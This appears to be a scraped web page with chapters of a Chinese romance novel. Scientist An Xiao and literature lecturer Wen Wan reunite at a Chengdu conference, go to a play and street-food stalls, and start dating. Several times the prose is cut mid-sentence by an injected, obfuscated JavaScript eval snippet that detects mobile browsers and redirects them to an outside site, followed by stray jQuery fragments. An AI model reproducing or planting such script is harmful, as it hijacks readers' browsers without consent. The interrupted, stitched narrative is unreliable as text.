她坐在自习室,记得很清楚的是,自习室只有她自己,因为第二天就是元旦。她在对话框里输入“你想好了吗?”,对方说是,然后她就同意了。安晓第一次知道,原来痛苦这件事还有延迟,她是二十分钟后才感觉到想吐的,毫无征兆的,毕竟前一秒她还在刷题。然后就开启了将近一年时间的疗伤。她谁也没说,就像这段恋情一样,也没人知道。对方甚至怕到不敢和她在校园里牵手。她和室友在食堂吃饭时会看着电视屏幕不自觉流泪,然后假装无事发生;会晚上整夜整夜地睡不着觉;会频繁打开手机看置顶的聊天对话框;会因为某天天气很好想分享给对方,然后再意识到不可能。然后短短的两周,她就瘦了十斤。这种情况持续到过了两年后的某一天,她在某个共同群里看到对方发的消息,她发现自己都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309319|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记不得对方长什么样子了。然后把群退了,松了一口气,再无波澜。她知道自己戒断成功了。 “那到底为什么没有Dating?”Emily不死心又问。 “不稳定吧,我可能过一两年又要搬家,离开这里。” “说不定有人愿意搬到你住的地方,跟着你走呢?” “像Navin一样?”安晓调笑到。Navin是Emily的老公。 Emily幸福地笑了笑。“关系一开始的时候是需要维护的,但是,过了一段时间你就会发现一切都很自然了,你不需要付出很多去维护它了。你该再给自己一些机会的。Xiao。” “有人愿意跟着我走”,安晓脑海里反复播放着这句话。“可能是做Homeoffice的吧。”她笑着摇了摇头。 今年的农历新年还是很冷清。在念书的时候还可以和同学们一起庆祝,大家一起包饺子。到后来认识的人要么回国,要么在不断Dating中找到对象或者成立家庭,然后,又只剩下了她。除夕那天她请了假,在公寓里自己包饺子,然后在YouTube上看春晚直播。当然,这都是她出国以后才有的习惯。她连祝福短信都懒得发,甚至难以记起自己那些遥远同学的名字。那些联系列表里的人她现在不得不在前边加上一个认识地方的前缀,比如EPFL-xxx,Heidelberg-xxx。 然后一个不太联系的师兄的对话框亮了起来。 “师妹最近咋样啊?成都年中有个会,报销机票和酒店开销,要不要来做个报告啊,也看看国内求职机会嘛。”然后上一条消息是公众号文章链接。 安晓看到成都,顿了顿。然后打开了链接。 六月中旬的会。“谢谢师兄,你和师姐好吗。自己建了Lab有没有什么不一样啊。这个会蛮好的,我投一下。” 然后师姐的电话就打了过来,开始絮絮叨叨,问安晓怎么过年的,找对象怎么样了,吐槽师兄就知道工作,说海优压力大。 安晓边笑边回答,说自己会申请那个会的,到时候夏天见。 然后,当知了开始叫的时候,安晓又落地了天府机场。 12. 第十二章 所有旖旎的相遇都冻结在冬天。现在,知了开始叫了,花儿也该开了。 安晓站在报告厅做完汇报后的掌声雷动,到了期望的提问环节。师生们都很踊跃,不断有人举手,直到主持人说:“我们今天的时间有限,接下来最后两个问题。那个,第三排的男生。” “安老师好,报告很精彩。我想问的是,您觉得您这个能做转化吗,能上临床去用吗?” “目前还是实验室的阶段,我们自然很想让它能够应用。我想,在座的所有同仁们,没有不希望自己做的研究有一天能够真正应用的吧。但具体的可能还需要我们把机制进一步解释清楚,然后我们会考虑同Pharmacy合作,看看有没有机会。” “好,最后一个问题。” “坐在第六排靠左侧走廊的女生吧,温老师旁边的那位,我看到你举手几次了。可以吗?”安晓转头看向主持人。 安晓一站上报告台,就看到了坐在第六排位置的温婉,她惊讶了一下后马上镇静了下来。 “安老师好,很精彩的报告。您是怎么找到您想要的关键基因的呢?毕竟我刚刚查了文献,以前没报道过它跟凋亡相关。谢谢。” “好的,其实我们找基因的故事也挺有意思的,我们转了3次方向才有了这整个故事。第一次,Seq的结果验证不出来,我们重新分析数据,然后再做还是验证不出来。最后没办法了,只能退而求其次找到变化最大、但看起来跟疾病相关性不强的基因。当时就是破罐子破摔,只要有一个基因能成就行。然后验证出来了,我们就找通路,最后找到下游的一个基因与它互作,确定了它的功能性。” 安晓还在巴拉巴拉讲一些温婉完全听不懂的术语,但她就是觉得,这个人怎么能什么都这么优秀呢。连声音也好听,普通话真好,有种北方话或者说北京话的感觉。 “喂,喂,表姐。”韩嘉嘉使劲推了推温婉,“你在想什么呢?” “啊?” “你认识安老师吗?她怎么叫你的名字?你知道她收不收学生啊,我想申请她的研究生。” “我不知道啊,想申请自己去问。” “怪不得你一个文学系的今天突然要跟我来听什么报告,原来是认识人家。你知不知道多难占座,走廊边上都坐满了。”韩嘉嘉抱紧了温婉的小臂使劲摇了摇,“你怎么认识人家的,姐姐,我的亲姐。你们有饭局吗?我不管,帮我打听打听呗,不行让王老师帮我问问。” “那你咋不直接跟王志和念,他不是也挺好的吗?” “好什么好,哪有安老师的研究有意思,高级,懂吗?人家的故事真高级,人家说英语,留过洋!!!” “你嫌贫爱富,等我跟王志和说。” “别别别,表姐,表姐,我的亲姐姐。”韩嘉嘉边摇胳膊边撒娇,“反正帮我问问,不行和安老师吃饭的时候能叫上我吗?” 吃饭。温婉想着,还有机会吃饭吗。 自己怎么就鬼使神差地来了这个报告厅的呢。一个月前王蓉蓉转了公众号的会议内容和Speaker给温婉,她在上面看见了安晓的名字。然后的一个月,就是“算了”和“要不再去看看”和“她说了很多次没可能,看不到未来”以及“我承认我心动了”。这些话反复在温婉的脑海中循环,似乎好几个人在她意识里打架,势必要决出个胜负。然后她就发了消息问自己生物系的表妹,去不去听讲座,给自己占个位置。 说实话,整个下午场她都昏昏欲睡,听也听不懂,也不能看手机。毕竟走廊上蹲着的、席地而坐的学生那么多,都聚精会神在听,她一个老师怎么能坐在座位上玩手机呢。果真隔行如隔山,每一个中文字她都听得懂,但就是不明白什么意思。直到安晓讲了英文,还是学术英文,然后她就连听都听不懂了。 下午五点半,会议散场。温婉早就在中途离席了。听这种讲座不亚于监考。她扭了扭僵硬的脖子,看到手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309320|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机上的消息,来自王蓉蓉。 ‘小婉,会议听得怎么样。我哥说他们晚上应该有聚餐,结束可能挺晚的,应该会喝酒。’ ‘在哪?’ ‘应该就在你们学校教职工食堂的三楼,可以点菜的那个。’ ‘好的。反正报告我没听懂,一会问问你哥吧。英语和普通话讲得不错。’ ‘呦呦呦,上半年还说不想提人家呢。’ ‘???。’ 韩嘉嘉逆着人潮向主席台那边走去,表姐不给问,她自己去问。 “安老师好,我是川大生物系大三的学生韩嘉嘉。” “你好,韩同学。” “老师你收研究生吗?我很喜欢你的研究方向,想问问有没有名额。”韩嘉嘉小心翼翼又满含期待地问。 “抱歉,我是博后,没有自己的实验室,不带学生的。”安晓温柔地回答,她看韩嘉嘉有点像看到了念书时候的自己。 “但这不是我们学校的海外人才招聘吗,您不来建实验室?”韩嘉嘉没放弃。 “我应该会去工业界,不会再在学术界待着了。”安晓解释。 “哦,好可惜。谢谢老师。”韩嘉嘉的语气有些失落。 “刚刚的温老师呢?”安晓假装若无其事。 “我表姐啊,她说听不懂,发困,听到一半就回去了。”韩嘉嘉突然来了兴趣,一双眼睛亮晶晶的。 “安老师,您认识我表姐啊?你们是朋友吗?” “算是吧。”安晓回答得含含糊糊。 韩嘉嘉直觉有内情,但看起来大人们不想说的样子,表姐也这样,安老师也这样。可能是……奸情!OMG,韩嘉嘉的内心在疯狂脑补:不会是前任文学吧,天呐,文学家与科学家的不得不说的二三事。 “谢谢安老师,安老师再见。”韩嘉嘉热情的挥舞着自己的小手,仿佛自己发现了什么了不得的大事,她要马上回去对表姐刑讯逼供。 13. 第十三章 晚餐就订在学校的餐厅,有会议的组织人、发表演讲的教授,以及药学院、生物和化学系的几个领导。话题从工作聊着聊着,就聊到了生活。 “安老师结婚了吗?” “结了的。”说着安晓抬手亮了亮左手无名指上的戒指。 “啊,是在美国安家了吗?”旁边一个青年男老师发问。 “是的。” “结婚对象是中国人还是老外啊?”八卦是人类的天性,大家七嘴八舌地聊了起来。 “欧洲人的。”“我们念博士时候认识的,然后一起搬到了美国。”安晓介绍得不疾不徐,语调温柔。 “真好,还是同学。”“有小孩了吗?”问题一个接一个。 “有的。”安晓笑得一脸幸福的样子,“有个小朋友,是女孩子,今年两岁了。” “真好真好。”“安老师看起来就是家庭很幸福的那种人,慢性子。” 紧接着,话题就转向了如何平衡工作和生活。 『线报:安老师结婚了,有一个两岁的女儿。』王蓉蓉的微信对话框跳动出来,备注:亲哥。 “啥?”平地一声惊雷,王蓉蓉突然尖叫起来。 “你咋了,蓉蓉,没事别一惊一乍。”田川雨嫌弃地道,“还吃不吃饭了!” “小婉,你知道安晓结婚了吗?还有一个两岁的女儿?”王蓉蓉气得直跺脚,恨不得立刻去现场掐死那个“渣女”。 “确认吗?”田川雨一头雾水,“你别搞虚假情报。” 王蓉蓉紧接着晒出王志和发过来的高清钻戒照片。 “啥玩意,妈的,玩我们,这个鸟人。”饭现在是彻底吃不下去了,全桌人齐齐看向温婉。 这个安晓,穿得人模人样,不是个好鸟。 温婉难得地没吱声。她想,她是有必要去问一问的。 酒席散后,院领导问:“谁没喝酒,开车顺路送安老师回去吧。安老师住哪?” “我和安老师顺路,我没喝酒,我来送吧。”王志和抢先道。 “好,那就小王老师,务必把安老师安全送回去啊。” 直到门口只剩下王志和与安晓。 “谢谢你,王老师,但我知道怎么走,不打扰您了,再见。”安晓站在距离王志和两个台阶远的地方。 “哎,稍等一下。安老师,冒昧地问您一个问题,您真的结婚了吗?”王志和有些焦急。 安晓轻轻地哼笑了一下。“您认识温老师吗?” 王志和明显愣了一下,然后说:“稍等。” 电话被接起来,对面发出巨大的咆哮声:“王志和,你必须拦住她问她要个说法,不然我们就断绝兄妹关系!” “我们在餐厅门口。” 五分钟后,黑色奔驰停在台阶下,车门打开。 今晚的温婉穿了连衣裙。灯光昏黄,雾气弥漫,她站在台阶下,神情少有地落寞和紧张。 “要吃晚饭吗?”温婉的声音有些干涩。 “我们刚刚才吃完。”王志和插嘴。 “我可以再吃一次。”安晓走下台阶。 夏天的校园永远喧闹,有拎着澡篮去洗澡的,有骑自行车从晚自习返回宿舍的,有在球场打篮球的,以及,谈恋爱的小情侣们。在这种喧闹下,两人沿着校园的小道慢慢走,雾气和灯光把两个人的影子越拉越长,好似和这种喧嚣分成了两个世界。 在沉默彻底笼罩两个人以前,安晓开了口。 “没结婚,也没有小朋友。”她的音调很慢。 “算是一种人设吧。这种模式的家庭成功,好似也是……”安晓顿了顿,“事业成功的一部分。然后我在第一次被问后,编造了这种人设。毕竟没人真的会去探寻调查。”安晓开始细细地解释,她说着抬头看了看天,吸了一口气。 “嗯。”温婉轻声应答。但明显,她的脚步声在听到解释后轻快了起来。 “要吃什么?我对这里不太熟。”安晓的语调轻快起来。 “学校旁边小吃街的蹄花吧,怎么样?出了后门就是。” “好。” 成都的夜市文化真的繁荣,晚上九点好似夜生活才刚刚开始,小吃街挤满了大学生。她们好不容易挤进店里,找个空桌子勉强坐下,桌子上还残留着老板没来得及收拾的上一桌用完的碗筷。 安晓显得有些格格不入,她身上现在还穿着下午作报告时的西装。温婉噗嗤一声笑了起来,安晓有些莫名其妙,直到温婉用手指了指她的穿着。安晓低头看了一眼自己的衬衣,也跟着笑。 “嬢嬢,来一份蹄花。” “你真的不吃?” “我刚吃过晚餐了。” “行吧,一会不要偷吃我的。” “不会的,放心吧,我要吃的话会再点一份。” 周围坐的都是大学生,大家大声地笑着、聊着天。安晓感叹,如此鲜活的生命。她已经离这样的环境很远了,她贪恋地看着周围。 蹄花端上来了。芸豆加蹄花,炖得浓浓的、奶白色的汤,配一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309321|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碟蘸料。 安晓看着温婉吃,开始咽口水。 “安老师吃过吗?” “没吃过。” “那你来四川吃过什么?” “嗯……火锅,宜宾燃面,宜宾烧烤和生牛肉。”安晓喝了一口水,想掩盖一下咽口水的动作。 “怎么那么多宜宾美食?你去过宜宾?那里没什么学校,你去干什么?” 安晓“嗯”了半天没说话。温婉抬头:“你‘嗯’什么?” “我前一个女朋友在那工作。” 聊家常的氛围没有了,空气突然冷了下来,中间的氤氲线似乎被一双大手突然扯断了。 温婉只是埋头吃蹄花。 安晓意识到自己似乎说错了话。 直到两人出了小店,沿着马路漫无目的地走着,算一种另类意义上的消食。没人开口说话,好似沉默已经成为了两人之间的默契。 在一个昏黄的岔路口,安晓突然停了下来。她转过身,眼睛直直地看着温婉。 “我找到工作了,温老师。” “嗯?”这个话题开始得有些猝不及防。 “在波士顿。”她停了下接着讲,“工资可能不是特别高,但是,可以养活两个人。”她想了下,又接着说,“但是,买爱马仕可能有些困难。” 她嘴巴鼓了顿,站直身子,看着温婉的眼睛,很郑重地讲:“温小姐,我喜欢你,你要不要试着和我约会?” 温婉很轻地笑了一下,然后低头。安晓只觉得嘴唇被更柔软的嘴唇碰到了,然后是什么软软的东西长驱直入,只勾了一下她的上牙膛,就快速离开了。 “安小姐,现在你知道蹄花是什么味道的了吧。” 安晓机械点头,然后快速摇头。她好像失去思考的能力了,动作全凭本能。她的心快要不受控制地跳出嗓子眼了,耳朵红得像极了粉色棉花糖。 “但对于你的约会请求,现在轮到我要考虑一下了。”她的语气俏皮,像只是在说今晚的蹄花很好吃。 安晓眼睛亮亮的,就站在昏黄的路灯下,歪着脑袋瞧她,看着她笑,然后发出黏黏糊糊的尾音:“好~” 夜深了,街上的行人开始变少,来来往往的汽车前照灯在她们身上断断续续闪过,像极了舞台剧的灯光。 “现在,该回家了,安小姐。” 黑色奔驰在路边停下,温婉利落地上车,并没有说再见。 田川雨降下车窗,挥手:“再见了,安老师,你认识回酒店的路吧。” 14. 第十四章 安晓是走路回去的。晚上的雾气更加氤氲,把昏黄的灯光渲染得更暖了。她沿着南河走,时快时慢,街角变得安静。雾落在她睫毛上,她眨了眨眼。伸手去接时,掌心有了湿意,怎么也甩不掉。她不自觉地咬了一下唇,想起温婉看向她时的眼神,耳朵突然很痒。 “YouknowIloveaLondonboy,IenjoywalkingSoho,drinkingintheafternoon,HelikesmyAmericansmile,Likeachildwhenoureyesmeet,darling,Ifancyyou.” 耳机里的歌还在放,当她回到酒店时才发现已经过了凌晨了。 她在床上翻了几个滚,然后抱着枕头痴痴地笑了几声,拍了拍自己嘴角一直上扬的脸,觉得自己真的好变态。脑子里都在想什么不健康的东西。她关了灯,就保持着这种姿势睡着了。 ****** 田川雨的车上。 “行了,快别笑了,笑得我都害怕。”自从上车后,温婉就保持着一种“我不说话,但是嘴角实在压不住,我真的幸福死了,我谈恋爱了,快来问我吧”的氛围。 “知道你快要恋爱了,你能不能把你的幸福收一收,熏到我了,我的大小姐。”田川雨调笑道。 车最后还是驶向了“夜色”。王蓉蓉她们早就等急了。 “看表情应该结果很好,嗯嗯嗯嗯嗯?咋样咋样?”王蓉蓉有些迫不及待。 “问小婉吧,在车上半点口风没透露。”田川雨怨气很深,在车上不管怎么打趣温婉都没开口。 “她告白了!”温婉的一句话像是重磅炸弹。 “不是吧?”“这么快?”“真的吗?”吸气声此起彼伏。 “酒小的给您倒好了,请您细细道来。”田川雨随手递过来一杯鸡尾酒。 温婉慢慢地啜了一口:“就是饭后学校后边的小吃街,嗯,拐出两公里的街角吧,一棵很大的香樟树下,她看着我的眼睛问我要不要试着约会。”温婉说得特别简洁,一脸就是这么简单的样子。 “细节!我们要细节!你肯定故意遗漏了很多,选择性地说了什么。”田川雨愤愤不平。 “细节少儿不宜,小孩少打听。”温婉以一种“就不告诉你能咋地”的态度。 她刚在车上不说话,是因为脑子里一直在重复回放安晓的告白,根本没听见田川雨说什么。这个人,连告白都别具一格。 “她要回国了?”还是李季宁的问题最尖锐。 “没有,她在波士顿找到工作了。”温婉握住酒杯的手捏了捏杯口,淡淡地道。 “那你们怎么恋爱?”问题接踵而至。 “没问。我搬过去。”温婉似乎进入了某种思索,“或者,她搬回来。” “你搬过去?你这么好的工作不要了?知道工作多难找吗?现在多少人挤破头就是为了去大学当老师。”王蓉蓉有些恨铁不成钢。 “温院长和欧阳老师知道吗?如果你要辞职,温院长要签字吧。况且你们还只是约会。小婉,你为了约会会不会赌得太大了。”李季宁郑重其事地开始分析。 “小宁宁这个说的是真的。小婉,你先仔细想一想再说,千万不要恋爱脑,小心‘挖野菜’。”田川雨少有地附和了李季宁的观点。 “小婉,我知道你以前的恋爱……”王蓉蓉刚想提起,又觉得不妥,欲言又止。 “我知道。但学校里一直有鼓励老师进修的项目,不会影响我工作,我也不会说为了还未开始的恋情就放弃自己的工作。你们放心吧。” “说实话,你是不是早就想好了?这么快就想出办法。”田川雨指着温婉,一副“你真不够朋友”的样子。 “从上次波士顿回来吧。”温婉似乎进入了某种回忆,“开始的时候觉得这个人怎么连进入感情的勇气都没有,说一堆冠冕堂皇的话解释自己的胆小。后来慢慢想明白了。”她看着大家,非常郑重地说,“我前两次表白都没得到结果的原因是,需求没有被满足。哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309322|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕我短暂地去了波士顿,我们之间距离的问题还是解决不了,所以她所有的解释都是在告诉我,哪怕喜欢,她也不会开始一段没有结果的恋爱。” 她转向王蓉蓉的方向:“我反倒觉得她蛮负责的。我知道蓉蓉想说什么。我和任以泽以及曲婷婷的事,没什么不敢说的,不就是都背叛了我吗。”她拿起杯子喝了口酒,“我想我爸妈那种,应当也不算是爱情。” 她喉头有些酸,但继续道:“安晓她,太慢了,和她在一起的时候大多数时候沉默。”她不自觉地笑了笑,“这反而让我很安心,就是那种永远不会变的安心。她聪明,站在发言台上侃侃而谈的自信样子,和平时私下沉默寡言、害羞的人格有着巨大的反差。我就越来越想去了解她。” 田川雨过来搂住了她的肩膀。喉咙里那句“小心那种无色无味但剧毒的老实人”实在是没敢说出口。 “无论如何,还是要恭喜你。探索新人生。”李季宁举杯。 “探索新人生!”大家碰杯。 ****** 早上八点,安晓起床。今天的天气很好,成都久违地出了太阳。手机屏幕上赫然躺着一条发自凌晨3点的微信消息。 『安老师,今天的约会安排是什么?』——小熊猫。 安晓欢快地刷牙冲澡,在落地镜前换了3套衣服后还是觉得不妥。她特别后悔自己没有带些正经的约会衣服,然后决定去楼下商场转一下。 八点半,刺耳的闹钟把她拉回了现实。她看了镜子中面色红润得不像话的自己,还有那上扬的嘴角,马上冷静下来,找了平时穿的衣服。如果要永远都在一起的话,展现平时的自己就好了。她这样想着。 约会要干什么?安晓打开社交平台搜索了最近成都的舞台剧演出,精准地狙击到了《Ha》。然后问温婉对这个感不感兴趣。收到确定的回复后,她挑了时间订了票。 晚上六点半的剧院门口,人声鼎沸。戴着头戴耳机、靠墙站着、眼睛没有焦距的安晓,温婉一眼就看到了她。 15. 第十五章 周六的剧院有些挤。温婉走到她背后轻轻拍了拍安晓的左肩,安晓转头,没有焦距的眼神马上锐利起来,像迷航的舵手突然找到了航向。在看到是她后绽放出巨大的笑容,说“你来了”,随即敲了敲耳机一侧,把它挂在脖子上。 今天的温婉更漂亮了,她穿了墨绿色的连衣裙,让安晓想到了雨林最深最深处的精灵。 “要现在进去吗?”温婉指了指剧院入口,看着有些呆愣的安晓。 “啊,好的好的。”安晓有些不好意思地挠了挠头。 日头开始缓缓西斜,余晖像融化的琥珀般洒落在剧院门口。天空呈现出深深浅浅的或紫或红,空气中的湿气开始流动,一下子就粘在了人的身上。安晓开始觉得皮肤好痒。 “你吃过了吗?”安晓声音很轻。 “安老师觉得呢?”温婉揶揄,“安老师这个点带我来看舞台剧,是认为我该吃还是没吃过。嗯?” 轻轻的一声“嗯”让安晓的心也痒了。 她不敢抬头看。她觉得可能是成都湿热的天气太适合雨林深处的精灵生活了,然后精灵散落到了人间,闯入到剧院,甚至也想尝一尝人间的情爱。 “我不知道。”她抬眼去瞧温婉,就看见她揶揄的笑。 “好了,我吃了点东西来的,不会饿。但看完后会有宵夜吗?安——老——师。” 安晓的手臂微微起了鸡皮疙瘩。她下意识地轻轻抓了抓,却又觉得有些痒,又忍住不去揉,然后像许诺一样地回应:“会有的”。 第六排中间的位置,她们挤进去落座。离开始还有二十分钟,剧场差不多已经快坐满了。 “喜欢莎士比亚?”温婉的背靠在椅子上,似乎是很随意的开口。 “没什么感觉吧。没读过,除了在巴黎的莎士比亚书店买过一本《罗密欧与朱丽叶》。”她紧接着补充道,“还有机缘巧合下看过《Ophelia》的歌剧。” “你呢?我只知道你是文学史方向的教授,是哪个时期的。” “哦?你怎么知道的,你搜过我?”温婉有些惊讶,自然学科的安晓竟然知道文学史方向,还问哪个时期。 “看过你的毕业论文,但不是特别懂。看起来像是17-18世纪的欧洲文学。”她觉得可能对对方来说有些冒犯,转而很诚挚地看向温婉,“不是偷窥你,只是想了解你。” “没关系。时间还长,你会了解的。” 剧院的灯光开始变暗,直到彻底陷入黑暗。观众席只剩偶尔的窃悉私语,让人听不真切。一束光猛然打在舞台中央,大红色的幕布缓缓拉开,第一幕开始呈现。 剧情开始得很自然。扮演Agnes的演员通过大部分的动作、眼神、表情来表达自然,自然的恋爱、生育、哺育,以及莎士比亚追求事业对家庭的缺失。直到她们的小女儿Judith感染瘟疫,Ha躺在他妹妹的身旁,说“我肯交换来做你”,安晓再也控制不住地眼泪涌出。 温婉听到了一阵窸窸窣窣的翻包声,然后是纸巾折叠的声音。她转头看向安晓,就看见斗大的泪珠从她的大眼睛里滚滚地往外流。 她不知怎的,鬼使神差地拿手握住了安晓的手。隔壁的人明显地僵了一下,然后又柔软起来。没人开口说话,直到Ha的葬礼结束后,两只手才松开。 舞台剧散场得猝不及防,最后的演员谢幕匆匆,似乎是为了让大家更好地体验剧情。安晓好似还没从情绪中抽离。最后的结局是煽情时刻,剧院的抽噎声此起彼伏,安晓反而没哭。 两人从剧院出来,路灯早就亮了。没人讲话,就这样有一搭没一搭地走着,没有目的地。温婉莫名的想到了“校园恋爱”,学生时期的压马路。安晓好像很喜欢这个。 “最后怎么不哭了?”晚上的雾气开始弥散,路灯被渲染成一圈一圈、深深浅浅的黄。 “感觉不到。”声音还是有一些些鼻音。安晓又擦了一次鼻涕。 “中年丧子之痛为什么能感觉到?”她们在红绿灯路口停下,眼前的车辆闪着大灯,比剧院的还要亮。 “也没感觉到。”安晓就直直地看着前方,不知道在看什么,“但我有个妹妹。” 她说着转头看向温婉:“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309323|198756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道自己能不能像Ha一样,勇敢地说我想交换去做你。” 温婉的心猛地一颤。安晓的眼睛好亮,不知道是反射路灯的亮还是本身就这么亮。她抬着头,嘴角上扬,就拿那双亮亮的眸子直直地看着你。温婉看过太多的文学作品了,不管是莎士比亚、席勒、莫里哀,她没见过这种描绘——同时包含悲天悯人又暗含乐天积极的眸子。 她为安晓感到心疼。文学艺术家大多敏感痛苦,因为痛苦是他们的灵感源泉。但如果科学家敏感痛苦,那么这是一种不幸。事业的成功意味着要经受更多困扰和孤独。 “晚上要吃什么?”安晓转了话题,她的语调开始轻快,仿佛前一秒的哽咽是雾气氤氲的幻觉。 “大排档吧,你吃过吗?前面不远处是夜市,聚集了很多小摊,我们叫江湖菜。有那种爆炒还有串串。”温婉细细地讲。 “好啊。” 好像很难从安晓身上看到激烈的情绪,她似乎永远内敛。她哭也是静静地哭,自己窸窸窣窣地从包里摸抽纸。她的包里似乎准备了一切:水、抽纸、钥匙、钱包、手机、笔,甚至能找到便利贴。像极了哆啦A梦的口袋。笑起来也是淡淡的,没见过生气。情绪最大的一次就是在波士顿说要同她好好谈谈,那也只是说话语无伦次,翻来覆去地佐证一个论点。 她不像一个年轻人。 两人在路边的夜市摊停下。温婉指着一家人几乎坐满了的小炒问:“这家怎么样?” 安晓应声好。她们在路边的小凳子上坐下,老板娘递过来菜单。 “你穿裙子方便吗?”安晓从包里掏出薄外套递过去,温婉盖在腿上。 “嬢嬢,有什么推荐的?我朋友第一次来,吃不了很辣。” “妹妹,我们是自贡菜哦,很辣的哦。我们最招牌的就是藿香鲫鱼、火爆双脆、鲜锅兔。” “那就都来嘛。”说着她看向安晓,“这些好不好?”安晓点头。 “真乖!”她伸手摸了摸安晓的头顶。 “嬢嬢,少放点辣椒。”她再次叮嘱道。 “好嘞!” 16. 第十六章 “自贡知道吗?自贡菜,盐帮菜。我婆婆的爸爸是自贡人,我小时候跟着婆婆长大,很小就能吃辣。什么火爆肥肠啊,鲜椒牛蛙啊,冷吃兔……她做的菜都好吃,我妈妈说她把我的嘴巴养刁了。” 安晓听温婉絮絮叨叨地讲着。夜市大抵是迎来了最热闹的时刻,叫卖声,液化气灶发出蓝黄相间火焰的噼里啪啦声,厨师颠锅时大勺和铁锅壁沿碰撞的声音,以及温婉在眼前嘴巴一张一合、娓娓道来的,属于她的童年的、像是摇篮曲般的低吟。 她的眼皮好难睁开,如果对面的人可以一直一直讲话就好了,她的声音为什么这么动听。 “安老师?”温婉在眼前挥了挥手,“安老师,菜上来了。你是困了吗?要回去吗?” “哦,抱歉,你的声音很好听,所以我有些沉迷了。” 她在说什么?为什么脑子不清醒的时候,人的嘴巴还可以发出声音。安晓用食指狠狠地掐了一下自己的大拇指,脸已经红透了。 “实在抱歉,我又在说胡话了。”她强装着镇定。 温婉噗嗤地笑了一声:“道歉倒是挺快的。”她夹了一筷子鲜椒兔放到安晓碗里,“尝尝看,能不能接受。” 那一盘鲜椒兔,红的绿的整盘都是辣椒,当然还有姜丝——安晓最怕吃姜。她夹了盘子里的一块兔肉送进嘴里。麻辣鲜香。温婉只看见对面的人眼睛一亮,然后点头说好吃好吃,紧接着问有纸巾吗,随即捂着嘴巴满世界找水。 纸巾掀开,就看见两片明显肿起来的嘴唇。安晓不断地喝着冰水降温,眼泪鼻涕横流,桌上的抽纸已经用了一半。温婉从隔壁的糖水铺给她端来了一碗冰粉,喝了冰粉,她才堪堪能止住眼泪。 “抱歉抱歉,我可能吃不了什么辣。” “要去医院吗?”温婉看她可怜的样子,有些担心。 “我没事的,就是太辣了。可能要循序渐进才行。”她连忙摆手示意自己没事。 她吃着冰粉、糖水、双皮奶,温婉在对面吃着鲜椒兔,两人之间形成了奇异的平衡。 “你平时都吃什么?”温婉好奇。 “白人饭,食堂,偶尔自己做。” “自己做什么吃?” “炖鸡汤,煮南瓜,煮粥。” “没了?” “没了!” “怪不得你这么瘦,吃这些能胖就怪了。”温婉好奇地问,“那我们吃不到一起去怎么办?” “分开做就好了。”在安晓那,这似乎不是个问题,她回答得简单。 “安老师,那在你那,什么是问题?” “大抵是……大家不再相爱了吧。”安晓看着她的眼睛,“喜欢是两个人的事,但分手,一个人说就可以了。” 夜色深了,夜市的灯火依旧辉煌。夜晚的雾气渐渐四散,安晓有些看不真切对面的人了。 “你知道吗,”对面的人好像停下了筷子,“安老师,你让我有一种我们认识很久了的错觉。” 安晓把自己跟前的双皮奶推到中间,问:“要吃吗?” ****** 饭后的两人穿过夜市,沿着小吃街慢慢走。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 